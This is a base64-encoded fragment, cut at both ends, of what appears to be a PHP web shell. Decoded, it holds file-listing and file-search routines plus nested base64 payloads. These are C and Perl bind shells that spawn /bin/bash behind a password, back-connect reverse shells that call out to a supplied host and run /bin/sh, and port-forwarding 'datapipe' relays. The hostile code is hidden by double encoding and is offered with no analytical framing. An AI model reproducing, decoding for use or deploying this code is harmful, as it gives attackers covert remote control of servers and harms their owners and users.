A9ICRkaXIuIi8iLiRmaWxlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAkZmlsZXNbXSA9ICRkaXIuIi8iLiRmaWxlOw0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgQGNsb3NlZGlyKCRoYW5kbGUpOw0KICAgIH0NCiAgICByZXR1cm4gJGZpbGVzOw0KICB9DQogIGNsYXNzIFNlYXJjaFJlc3VsdA0KICB7DQogICAgdmFyICR0ZXh0Ow0KICAgIHZhciAkRmlsZXNUb1NlYXJjaDsNCiAgICB2YXIgJFJlc3VsdEZpbGVzOw0KICAgIHZhciAkRmlsZXNUb3RhbDsNCiAgICB2YXIgJE1hdGNoZXNDb3VudDsNCiAgICB2YXIgJEZpbGVNYXRzY2hlc0NvdW50Ow0KICAgIHZhciAkVGltZVN0YXJ0Ow0KICAgIHZhciAkVGltZVRvdGFsOw0KICAgIHZhciAkdGl0bGVzOw0KICAgIGZ1bmN0aW9uIFNlYXJjaFJlc3VsdCgkZGlyLCR0ZXh0LCRmaWx0ZXI9JycpDQogICAgew0KICAgICAgJGRpcnMgPSBAZXhwbG9kZSgiOyIsJGRpcik7DQogICAgICAkdGhpcy0+RmlsZXNUb1NlYXJjaCA9IEFycmF5KCk7DQogICAgICBmb3IoJGE9MDskYTxjb3VudCgkZGlycyk7JGErKykNCiAgICAgICAgJHRoaXMtPkZpbGVzVG9TZWFyY2ggPSBAYXJyYXlfbWVyZ2UoJHRoaXMtPkZpbGVzVG9TZWFyY2gsRGlyRmlsZXNSKCRkaXJzWyRhXSwkZmlsdGVyKSk7DQogICAgICAkdGhpcy0+dGV4dCA9ICR0ZXh0Ow0KICAgICAgJHRoaXMtPkZpbGVzVG90YWwgPSBAY291bnQoJHRoaXMtPkZpbGVzVG9TZWFyY2gpOw0KICAgICAgJHRoaXMtPlRpbWVTdGFydCA9IGdldG1pY3JvdGltZSgpOw0KICAgICAgJHRoaXMtPk1hdGNoZXNDb3VudCA9IDA7DQogICAgICAkdGhpcy0+UmVzdWx0RmlsZXMgPSBBcnJheSgpOw0KICAgICAgJHRoaXMtPkZpbGVNYXRjaGVzQ291bnQgPSBBcnJheSgpOw0KICAgICAgJHRoaXMtPnRpdGxlcyA9IEFycmF5KCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIEdldEZpbGVzVG90YWwoKSB7IHJldHVybiAkdGhpcy0+RmlsZXNUb3RhbDsgfQ0KICAgIGZ1bmN0aW9uIEdldFRpdGxlcygpIHsgcmV0dXJuICR0aGlzLT50aXRsZXM7IH0NCiAgICBmdW5jdGlvbiBHZXRUaW1lVG90YWwoKSB7IHJldHVybiAkdGhpcy0+VGltZVRvdGFsOyB9DQogICAgZnVuY3Rpb24gR2V0TWF0Y2hlc0NvdW50KCkgeyByZXR1cm4gJHRoaXMtPk1hdGNoZXNDb3VudDsgfQ0KICAgIGZ1bmN0aW9uIEdldEZpbGVNYXRjaGVzQ291bnQoKSB7IHJldHVybiAkdGhpcy0+RmlsZU1hdGNoZXNDb3VudDsgfQ0KICAgIGZ1bmN0aW9uIEdldFJlc3VsdEZpbGVzKCkgeyByZXR1cm4gJHRoaXMtPlJlc3VsdEZpbGVzOyB9DQogICAgZnVuY3Rpb24gU2VhcmNoVGV4dCgkcGhyYXNlPTAsJGNhc2U9MCkgew0KICAgICRxcSA9IEBleHBsb2RlKCcgJywkdGhpcy0+dGV4dCk7DQogICAgJGRlbGltID0gJ3wnOw0KICAgICAgaWYoJHBocmFzZSkNCiAgICAgICAgZm9yZWFjaCgkcXEgYXMgJGs9PiR2KQ0KICAgICAgICAgICRxcVska10gPSAnXGInLiR2LidcYic7DQogICAgICAkd29yZHMgPSAnKCcuQGltcGxvZGUoJGRlbGltLCRxcSkuJyknOw0KICAgICAgJHBhdHRlcm4gPSAiLyIuJHdvcmRzLiIvIjsNCiAgICAgIGlmKCEkY2FzZSkNCiAgICAgICAgJHBhdHRlcm4gLj0gJ2knOw0KICAgICAgZm9yZWFjaCgkdGhpcy0+RmlsZXNUb1NlYXJjaCBhcyAkaz0+JGZpbGVuYW1lKQ0KICAgICAgew0KICAgICAgICAkdGhpcy0+RmlsZU1hdGNoZXNDb3VudFskZmlsZW5hbWVdID0gMDsNCiAgICAgICAgJEZpbGVTdHJpbmdzID0gQGZpbGUoJGZpbGVuYW1lKSBvciBAbmV4dDsNCiAgICAgICAgZm9yKCRhPTA7JGE8QGNvdW50KCRGaWxlU3RyaW5ncyk7JGErKykNCiAgICAgICAgew0KICAgICAgICAgICRjb3VudCA9IDA7DQogICAgICAgICAgJEN1clN0cmluZyA9ICRGaWxlU3RyaW5nc1skYV07DQogICAgICAgICAgJEN1clN0cmluZyA9IEBUcmltKCRDdXJTdHJpbmcpOw0KICAgICAgICAgICRDdXJTdHJpbmcgPSBAc3RyaXBfdGFncygkQ3VyU3RyaW5nKTsNCiAgICAgICAgICAkYWEgPSAnJzsNCiAgICAgICAgICBpZigoJGNvdW50ID0gQHByZWdfbWF0Y2hfYWxsKCRwYXR0ZXJuLCRDdXJTdHJpbmcsJGFhKSkpDQogICAgICAgICAgew0KICAgICAgICAgICAgJEN1clN0cmluZyA9IEBwcmVnX3JlcGxhY2UoJHBhdHRlcm4sIjxTUEFOIHN0eWxlPSdjb2xvcjogIzk5MDAwMDsnPjxiPlxcMTwvYj48L1NQQU4+IiwkQ3VyU3RyaW5nKTsNCiAgICAgICAgICAgICR0aGlzLT5SZXN1bHRGaWxlc1skZmlsZW5hbWVdWyRhKzFdID0gJEN1clN0cmluZzsNCiAgICAgICAgICAgICR0aGlzLT5NYXRjaGVzQ291bnQgKz0gJGNvdW50Ow0KICAgICAgICAgICAgJHRoaXMtPkZpbGVNYXRjaGVzQ291bnRbJGZpbGVuYW1lXSArPSAkY291bnQ7DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICAkdGhpcy0+VGltZVRvdGFsID0gQHJvdW5kKGdldG1pY3JvdGltZSgpIC0gJHRoaXMtPlRpbWVTdGFydCw0KTsNCiAgICB9DQogIH0NCiAgZnVuY3Rpb24gZ2V0bWljcm90aW1lKCkNCiAgew0KICAgIGxpc3QoJHVzZWMsJHNlYykgPSBAZXhwbG9kZSgiICIsQG1pY3JvdGltZSgpKTsNCiAgICByZXR1cm4gKChmbG9hdCkkdXNlYyArIChmbG9hdCkkc2VjKTsNCiAgfQ0KJHBvcnRfYmluZF9iZF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNSeWFXNW5MbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM1I1Y0dWekxtZytEUW9qYVc1amJIVmtaUw0KQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ2lOcGJtTnNkV1JsSUR4bGNuSnVieTVvUGcwS2FXNTBJRzFoYVc0b1lYSm5ZeXhoY21kMktRMEthVzUwSQ0KR0Z5WjJNN0RRcGphR0Z5SUNvcVlYSm5kanNOQ25zZ0lBMEtJR2x1ZENCemIyTnJabVFzSUc1bGQyWmtPdzBLSUdOb1lYSWdZblZtV3pNd1hUc05DaUJ6ZEhKMVkzUWdjMjlqYTJGa1pISmZhVzRnY21WdA0KYjNSbE93MEtJR2xtS0dadmNtc29LU0E5UFNBd0tTQjdJQTBLSUhKbGJXOTBaUzV6YVc1ZlptRnRhV3g1SUQwZ1FVWmZTVTVGVkRzTkNpQnlaVzF2ZEdVdWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3loaGRHOQ0KcEtHRnlaM1piTVYwcEtUc05DaUJ5WlcxdmRHVXVjMmx1WDJGa1pISXVjMTloWkdSeUlEMGdhSFJ2Ym13b1NVNUJSRVJTWDBGT1dTazdJQTBLSUhOdlkydG1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMRg0KTlBRMHRmVTFSU1JVRk5MREFwT3cwS0lHbG1LQ0Z6YjJOclptUXBJSEJsY25KdmNpZ2ljMjlqYTJWMElHVnljbTl5SWlrN0RRb2dZbWx1WkNoemIyTnJabVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnSw0KaWttY21WdGIzUmxMQ0F3ZURFd0tUc05DaUJzYVhOMFpXNG9jMjlqYTJaa0xDQTFLVHNOQ2lCM2FHbHNaU2d4S1EwS0lDQjdEUW9nSUNCdVpYZG1aRDFoWTJObGNIUW9jMjlqYTJaa0xEQXNNQ2s3RFFvZw0KSUNCa2RYQXlLRzVsZDJaa0xEQXBPdzBLSUNBZ1pIVndNaWh1WlhkbVpDd3hLVHNOQ2lBZ0lHUjFjRElvYm1WM1ptUXNNaWs3RFFvZ0lDQjNjbWwwWlNodVpYZG1aQ3dpVUdGemMzZHZjbVE2SWl3eE1Daw0KN0RRb2dJQ0J5WldGa0tHNWxkMlprTEdKMVppeHphWHBsYjJZb1luVm1LU2s3RFFvZ0lDQnBaaUFvSVdOb2NHRnpjeWhoY21kMld6SmRMR0oxWmlrcERRb2dJQ0J6ZVhOMFpXMG9JbVZqYUc4Z2QyVnNZMg0KOXRaU0IwYnlCeU5UY2djMmhsYkd3Z0ppWWdMMkpwYmk5aVlYTm9JQzFwSWlrN0RRb2dJQ0JsYkhObERRb2dJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lVMjl5Y25raUtUc05DaUFnSUdOc2IzTmxLRzVsZA0KMlprS1RzTkNpQWdmUTBLSUgwTkNuME5DbWx1ZENCamFIQmhjM01vWTJoaGNpQXFZbUZ6WlN3Z1kyaGhjaUFxWlc1MFpYSmxaQ2tnZXcwS2FXNTBJR2s3RFFwbWIzSW9hVDB3TzJrOGMzUnliR1Z1S0dWdQ0KZEdWeVpXUXBPMmtyS3lrZ0RRcDdEUXBwWmlobGJuUmxjbVZrVzJsZElEMDlJQ2RjYmljcERRcGxiblJsY21Wa1cybGRJRDBnSjF3d0p6c2dEUXBwWmlobGJuUmxjbVZrVzJsZElEMDlJQ2RjY2ljcERRcA0KbGJuUmxjbVZrVzJsZElEMGdKMXd3SnpzTkNuME5DbWxtSUNnaGMzUnlZMjF3S0dKaGMyVXNaVzUwWlhKbFpDa3BEUXB5WlhSMWNtNGdNRHNOQ24wPSI7DQokcG9ydF9iaW5kX2JkX3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2WW1GemFDQXRhU0k3RFFwcFppQW9RRUZTUjFZZ1BDQXhLU0I3SUdWNGFYUW9NU2s3SUgwTkNpUk1TDQpWTlVSVTVmVUU5U1ZEMGtRVkpIVmxzd1hUc05DblZ6WlNCVGIyTnJaWFE3RFFva2NISnZkRzlqYjJ3OVoyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzDQpKbE5QUTB0ZlUxUlNSVUZOTENSd2NtOTBiMk52YkNrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWDQpUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFeEpVMVJGVGw5UVQxSlVMRWxPUVVSRVVsOUJUbGtwS1NCOGZDQmthV1VnSWtOaGJuUWdiM0JsYmlCd2IzSjBYRzRpT3cwS2JHDQpsemRHVnVLRk1zTXlrZ2ZId2daR2xsSUNKRFlXNTBJR3hwYzNSbGJpQndiM0owWEc0aU93MEtkMmhwYkdVb01Ta05DbnNOQ21GalkyVndkQ2hEVDA1T0xGTXBPdzBLYVdZb0lTZ2tjR2xrUFdadmNtc3BLDQpRMEtldzBLWkdsbElDSkRZVzV1YjNRZ1ptOXlheUlnYVdZZ0tDRmtaV1pwYm1Wa0lDUndhV1FwT3cwS2IzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DbTl3Wlc0Z1UxUkVUMVZVTENJK0prTlBUazRpDQpPdzBLYjNCbGJpQlRWRVJGVWxJc0lqNG1RMDlPVGlJN0RRcGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DbU5zYjNODQpsSUVOUFRrNDdEUXBsZUdsMElEQTdEUXA5RFFwOSI7DQokYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqDQphRzhnSW1CcFpHQWlPeTlpYVc0dmMyZ25PdzBLSkRBOUpHTnRaRHNOQ2lSMFlYSm5aWFE5SkVGU1IxWmJNRjA3RFFva2NHOXlkRDBrUVZKSFZsc3hYVHNOQ2lScFlXUmtjajFwYm1WMFgyRjBiMjRvSkhSDQpoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUDQpzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JDQprVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpDQpLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ21Oc2IzTmxLRk5VUkVsDQpPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCiRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZEMNCkJ0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaa093MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWINClNBdFppQWlPeUFOQ2lCa1lXVnRiMjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmQNCktTazdEUW9nYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc2dEUW9nWW5wbGNtOG9ZWEpuZGxzeFhTeHpkSEpzWlc0b1lYSm5kbHN4WFNrck1TdHpkSEoNCnNaVzRvWVhKbmRsc3lYU2twT3lBTkNpQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNnRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTEMNCkFvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSUNaemFXNHNJSE5wZW1WdlppaHpkSEoxWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0QNClFvZ0lDQmxlR2wwS0RBcE93MEtJSDBOQ2lCemRISmpZWFFvY20xekxDQmhjbWQyV3pCZEtUc05DaUJ6ZVhOMFpXMG9jbTF6S1RzZ0lBMEtJR1IxY0RJb1ptUXNJREFwT3cwS0lHUjFjRElvWm1Rc0lERXANCk93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09IjsNCiRkYXRhcGlwZV9jPSJJMmx1WTJ4MVpHVWdQSE41Y3k5MGVYQmxjeTVvUGcwS0kybHVZMngxWkdVZ1BITjVjeTl6YjJOclpYUXVhRDROQ2lOcGJtTnNkV1JsSUR4emVYTXZkMkZwZEM1b1BnMEtJMmx1WTINCngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ2lOcGJtTnNkV1JsSUR4emRHUnBieTVvUGcwS0kybHVZMngxWkdVZ1BITjBaR3hwWWk1b1BnMEtJMmx1WTJ4MVpHVWdQR1Z5Y201dkxtZytEUW9qYVc1amINCkhWa1pTQThkVzVwYzNSa0xtZytEUW9qYVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lOcGJtTnNkV1JsSUR4c2FXNTFlQzkwYVcxbExtZytEUW9qYVdaa1pXWWdVMVJTUlZKU1QxSU5DbVY0ZEdWeWJpQmoNCmFHRnlJQ3B6ZVhOZlpYSnliR2x6ZEZ0ZE93MEtaWGgwWlhKdUlHbHVkQ0J6ZVhOZmJtVnljanNOQ21Ob1lYSWdLblZ1WkdWbUlEMGdJbFZ1WkdWbWFXNWxaQ0JsY25KdmNpSTdEUXBqYUdGeUlDcHpkSEoNCmxjbkp2Y2lobGNuSnZjaWtnSUEwS2FXNTBJR1Z5Y205eU95QWdEUXA3SUEwS2FXWWdLR1Z5Y205eUlENGdjM2x6WDI1bGNuSXBEUXB5WlhSMWNtNGdkVzVrWldZN0RRcHlaWFIxY200Z2MzbHpYMlZ5Y20NCnhwYzNSYlpYSnliM0pkT3cwS2ZRMEtJMlZ1WkdsbURRb05DbTFoYVc0b1lYSm5ZeXdnWVhKbmRpa2dJQTBLSUNCcGJuUWdZWEpuWXpzZ0lBMEtJQ0JqYUdGeUlDb3FZWEpuZGpzZ0lBMEtleUFOQ2lBZ2ENClc1MElHeHpiMk5yTENCamMyOWpheXdnYjNOdlkyczdEUW9nSUVaSlRFVWdLbU5tYVd4bE93MEtJQ0JqYUdGeUlHSjFabHMwTURrMlhUc05DaUFnYzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUd4aFpHUnkNCkxDQmpZV1JrY2l3Z2IyRmtaSEk3RFFvZ0lHbHVkQ0JqWVdSa2NteGxiaUE5SUhOcGVtVnZaaWhqWVdSa2NpazdEUW9nSUdaa1gzTmxkQ0JtWkhOeUxDQm1aSE5sT3cwS0lDQnpkSEoxWTNRZ2FHOXpkR1YNCnVkQ0FxYURzTkNpQWdjM1J5ZFdOMElITmxjblpsYm5RZ0tuTTdEUW9nSUdsdWRDQnVZbmwwT3cwS0lDQjFibk5wWjI1bFpDQnNiMjVuSUdFN0RRb2dJSFZ1YzJsbmJtVmtJSE5vYjNKMElHOXdiM0owT3cNCjBLRFFvZ0lHbG1JQ2hoY21kaklDRTlJRFFwSUhzTkNpQWdJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lWWE5oWjJVNklDVnpJR3h2WTJGc2NHOXlkQ0J5WlcxdmRHVndiM0owSUhKbGJXOTBaV2h2YzNSY2INCmlJc1lYSm5kbHN3WFNrN0RRb2dJQ0FnY21WMGRYSnVJRE13T3cwS0lDQjlEUW9nSUdFZ1BTQnBibVYwWDJGa1pISW9ZWEpuZGxzelhTazdEUW9nSUdsbUlDZ2hLR2dnUFNCblpYUm9iM04wWW5sdVlXMWwNCktHRnlaM1piTTEwcEtTQW1KZzBLSUNBZ0lDQWdJU2hvSUQwZ1oyVjBhRzl6ZEdKNVlXUmtjaWdtWVN3Z05Dd2dRVVpmU1U1RlZDa3BLU0I3RFFvZ0lDQWdjR1Z5Y205eUtHRnlaM1piTTEwcE93MEtJQ0ENCmdJSEpsZEhWeWJpQXlOVHNOQ2lBZ2ZRMEtJQ0J2Y0c5eWRDQTlJR0YwYjJ3b1lYSm5kbHN5WFNrN0RRb2dJR3hoWkdSeUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb0tIVnVjMmxuYm1Wa0lITm9iM0owS1MNCmhoZEc5c0tHRnlaM1piTVYwcEtTazdEUW9nSUdsbUlDZ29iSE52WTJzZ1BTQnpiMk5yWlhRb1VFWmZTVTVGVkN3Z1UwOURTMTlUVkZKRlFVMHNJRWxRVUZKUFZFOWZWRU5RS1NrZ1BUMGdMVEVwSUhzTkMNCmlBZ0lDQndaWEp5YjNJb0luTnZZMnRsZENJcE93MEtJQ0FnSUhKbGRIVnliaUF5TURzTkNpQWdmUTBLSUNCc1lXUmtjaTV6YVc1ZlptRnRhV3g1SUQwZ2FIUnZibk1vUVVaZlNVNUZWQ2s3RFFvZ0lHeGgNClpHUnlMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2gwYjI1c0tEQXBPdzBLSUNCcFppQW9ZbWx1WkNoc2MyOWpheXdnSm14aFpHUnlMQ0J6YVhwbGIyWW9iR0ZrWkhJcEtTa2dldzBLSUNBZ0lIQmxjbkoNCnZjaWdpWW1sdVpDSXBPdzBLSUNBZ0lISmxkSFZ5YmlBeU1Ec05DaUFnZlEwS0lDQnBaaUFvYkdsemRHVnVLR3h6YjJOckxDQXhLU2tnZXcwS0lDQWdJSEJsY25KdmNpZ2liR2x6ZEdWdUlpazdEUW9nSUMNCkFnY21WMGRYSnVJREl3T3cwS0lDQjlEUW9nSUdsbUlDZ29ibUo1ZENBOUlHWnZjbXNvS1NrZ1BUMGdMVEVwSUhzTkNpQWdJQ0J3WlhKeWIzSW9JbVp2Y21zaUtUc05DaUFnSUNCeVpYUjFjbTRnTWpBN0QNClFvZ0lIME5DaUFnYVdZZ0tHNWllWFFnUGlBd0tRMEtJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQnpaWFJ6YVdRb0tUc05DaUFnZDJocGJHVWdLQ2hqYzI5amF5QTlJR0ZqWTJWd2RDaHNjMjlqYXl3Z0ptTmgNClpHUnlMQ0FtWTJGa1pISnNaVzRwS1NBaFBTQXRNU2tnZXcwS0lDQWdJR05tYVd4bElEMGdabVJ2Y0dWdUtHTnpiMk5yTENKeUt5SXBPdzBLSUNBZ0lHbG1JQ2dvYm1KNWRDQTlJR1p2Y21zb0tTa2dQVDANCmdMVEVwSUhzTkNpQWdJQ0FnSUdad2NtbHVkR1lvWTJacGJHVXNJQ0kxTURBZ1ptOXlhem9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ0lDQnphSFYwWkc5M2JpaGpjMjlqYXkNCnd5S1RzTkNpQWdJQ0FnSUdaamJHOXpaU2hqWm1sc1pTazdEUW9nSUNBZ0lDQmpiMjUwYVc1MVpUc05DaUFnSUNCOURRb2dJQ0FnYVdZZ0tHNWllWFFnUFQwZ01Da05DaUFnSUNBZ0lHZHZkRzhnWjI5MGMNCjI5amF6c05DaUFnSUNCbVkyeHZjMlVvWTJacGJHVXBPdzBLSUNBZ0lIZG9hV3hsSUNoM1lXbDBjR2xrS0MweExDQk9WVXhNTENCWFRrOUlRVTVIS1NBK0lEQXBPdzBLSUNCOURRb2dJSEpsZEhWeWJpQXkNCk1Ec05DZzBLSUdkdmRITnZZMnM2RFFvZ0lHbG1JQ2dvYjNOdlkyc2dQU0J6YjJOclpYUW9VRVpmU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUVsUVVGSlBWRTlmVkVOUUtTa2dQVDBnTFRFcElIc05DaUENCmdJQ0JtY0hKcGJuUm1LR05tYVd4bExDQWlOVEF3SUhOdlkydGxkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQnZZV1JrY2kNCjV6YVc1ZlptRnRhV3g1SUQwZ2FDMCthRjloWkdSeWRIbHdaVHNOQ2lBZ2IyRmtaSEl1YzJsdVgzQnZjblFnUFNCb2RHOXVjeWh2Y0c5eWRDazdEUW9nSUcxbGJXTndlU2dtYjJGa1pISXVjMmx1WDJGa1oNCkhJc0lHZ3RQbWhmWVdSa2Npd2dhQzArYUY5c1pXNW5kR2dwT3cwS0lDQnBaaUFvWTI5dWJtVmpkQ2h2YzI5amF5d2dKbTloWkdSeUxDQnphWHBsYjJZb2IyRmtaSElwS1NrZ2V3MEtJQ0FnSUdad2NtbHUNCmRHWW9ZMlpwYkdVc0lDSTFNREFnWTI5dWJtVmpkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQjNhR2xzWlNBb01Ta2dldzANCktJQ0FnSUVaRVgxcEZVazhvSm1aa2MzSXBPdzBLSUNBZ0lFWkVYMXBGVWs4b0ptWmtjMlVwT3cwS0lDQWdJRVpFWDFORlZDaGpjMjlqYXl3bVptUnpjaWs3RFFvZ0lDQWdSa1JmVTBWVUtHTnpiMk5yTEMNClptWkhObEtUc05DaUFnSUNCR1JGOVRSVlFvYjNOdlkyc3NKbVprYzNJcE93MEtJQ0FnSUVaRVgxTkZWQ2h2YzI5amF5d21abVJ6WlNrN0RRb2dJQ0FnYVdZZ0tITmxiR1ZqZENneU1Dd2dKbVprYzNJc0kNCkU1VlRFd3NJQ1ptWkhObExDQk9WVXhNS1NBOVBTQXRNU2tnZXcwS0lDQWdJQ0FnWm5CeWFXNTBaaWhqWm1sc1pTd2dJalV3TUNCelpXeGxZM1E2SUNWelhHNGlMQ0J6ZEhKbGNuSnZjaWhsY25KdWJ5a3ANCk93MEtJQ0FnSUNBZ1oyOTBieUJ4ZFdsME1qc05DaUFnSUNCOURRb2dJQ0FnYVdZZ0tFWkVYMGxUVTBWVUtHTnpiMk5yTENabVpITnlLU0I4ZkNCR1JGOUpVMU5GVkNoamMyOWpheXdtWm1SelpTa3BJSHMNCk5DaUFnSUNBZ0lHbG1JQ2dvYm1KNWRDQTlJSEpsWVdRb1kzTnZZMnNzWW5WbUxEUXdPVFlwS1NBOFBTQXdLUTBLQ1dkdmRHOGdjWFZwZERJN0RRb2dJQ0FnSUNCcFppQW9LSGR5YVhSbEtHOXpiMk5yTEcNCkoxWml4dVlubDBLU2tnUEQwZ01Da05DZ2xuYjNSdklIRjFhWFF5T3cwS0lDQWdJSDBnWld4elpTQnBaaUFvUmtSZlNWTlRSVlFvYjNOdlkyc3NKbVprYzNJcElIeDhJRVpFWDBsVFUwVlVLRzl6YjJOckwNCkNabVpITmxLU2tnZXcwS0lDQWdJQ0FnYVdZZ0tDaHVZbmwwSUQwZ2NtVmhaQ2h2YzI5amF5eGlkV1lzTkRBNU5pa3BJRHc5SURBcERRb0paMjkwYnlCeGRXbDBNanNOQ2lBZ0lDQWdJR2xtSUNnb2QzSnANCmRHVW9ZM052WTJzc1luVm1MRzVpZVhRcEtTQThQU0F3S1EwS0NXZHZkRzhnY1hWcGRESTdEUW9nSUNBZ2ZRMEtJQ0I5RFFvTkNpQnhkV2wwTWpvTkNpQWdjMmgxZEdSdmQyNG9iM052WTJzc01pazdEUW8NCmdJR05zYjNObEtHOXpiMk5yS1RzTkNpQnhkV2wwTVRvTkNpQWdabVpzZFhOb0tHTm1hV3hsS1RzTkNpQWdjMmgxZEdSdmQyNG9ZM052WTJzc01pazdEUW9nY1hWcGREQTZEUW9nSUdaamJHOXpaU2hqWm0NCmxzWlNrN0RRb2dJSEpsZEhWeWJpQXdPdzBLZlE9PSI7DQokZGF0YXBpcGVfcGw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ25WelpTQlFUMU5KV0RzTkNpUnNiMk5oYkhCdmNuUWdQU0FrUVZKSFZsc3dYVHNOQ2lSb2IzTjBJDQpDQWdJQ0FnUFNBa1FWSkhWbHN4WFRzTkNpUndiM0owSUNBZ0lDQWdQU0FrUVZKSFZsc3lYVHNOQ2lSa1lXVnRiMjQ5TVRzTkNpUkVTVklnUFNCMWJtUmxaanNOQ2lSOElEMGdNVHNOQ21sbUlDZ2taR0ZsDQpiVzl1S1hzZ0pIQnBaQ0E5SUdadmNtczdJR1Y0YVhRZ2FXWWdKSEJwWkRzZ1pHbGxJQ0lrSVNJZ2RXNXNaWE56SUdSbFptbHVaV1FvSkhCcFpDazdJRkJQVTBsWU9qcHpaWFJ6YVdRb0tTQnZjaUJrYVdVDQpnSWlRaElqc2dmUTBLSlc4Z1BTQW9KM0J2Y25RbklEMCtJQ1JzYjJOaGJIQnZjblFzSjNSdmNHOXlkQ2NnUFQ0Z0pIQnZjblFzSjNSdmFHOXpkQ2NnUFQ0Z0pHaHZjM1FwT3cwS0pHRm9JRDBnU1U4Nk9sDQpOdlkydGxkRG82U1U1RlZDMCtibVYzS0NkTWIyTmhiRkJ2Y25RbklEMCtJQ1JzYjJOaGJIQnZjblFzSjFKbGRYTmxKeUE5UGlBeExDZE1hWE4wWlc0b